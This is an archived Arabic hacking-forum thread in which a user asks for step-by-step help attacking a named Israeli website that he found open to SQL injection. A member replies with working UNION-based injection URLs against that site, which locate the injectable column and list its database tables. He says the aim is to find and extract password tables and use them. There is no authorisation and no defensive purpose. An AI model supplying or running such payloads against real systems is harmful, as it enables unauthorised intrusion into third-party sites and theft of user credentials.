المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : الى الأخ مساعدة أرجوكم



mer.vip
04-21-2013, 07:01 PM
السلام عليكم
..
sql لقد بحثت و وجدت أن هذا الموقع الاسرائيلي مصاب بثغرة

http://www.tve.co.il/replies.php?id=288'

من أين أبد أ ؟ أرجوكم خطوة خطوة ؟ لأنني تعبت منة الدروس النظرية فالتطبيق شيء آخر .......من فضلكم ...



http://im36.gulfup.com/pLN4U.png

Iraqe Hacker
05-03-2013, 10:44 AM
موضوعك مكرر وفي المكان الخطئ

ASDELY-ScOrPiOn
05-03-2013, 11:16 AM
اهلا عزيزي ، هنالك قسم المشاكل والإستفسارات لمثل هذه المواضيع ، يرجى عدم تكرير المخالفة.

في البداية يجب عليك معرفة الأعمدة المصابة. تم شرحها في دورتي.
ثم عليك استخراج اسماء الجدوال من الموقع والبحث من بينها على جدول يقدم لك معلومات هامة ، مثل باسووردات.
وفي النهاية عليك استخراج المعلومات هذه من الجدول ، وإستخدامها.

تفضل عزيزي.
استخراج الاعمدة المصابة.
http://www.tve.co.il/replies.php?id=-288+union+select+1--
انظر الى תגובות לכתבה 1 ، بهذه الجملة ظهر رقم العامود 1 ، وهو العامود المصاب ، هنا بإمكانك وضع الاستعلام الذي تريده.
وهذه استغلال كامل لإستخراج اسماء الجداول من قاعدة الموقع.
http://www.tve.co.il/replies.php?id=-288+union+select+group_concat%28table_name%29+from +information_schema.tables+where+table_schema+like +0x747665636f696c31--

اكمل على نفس الوتر ، وتابع دورتي وستعلم ما مطلوب منك.
تحياتي.

aymen cyril kamar
05-03-2013, 01:42 PM
افادوك الاعظاء ....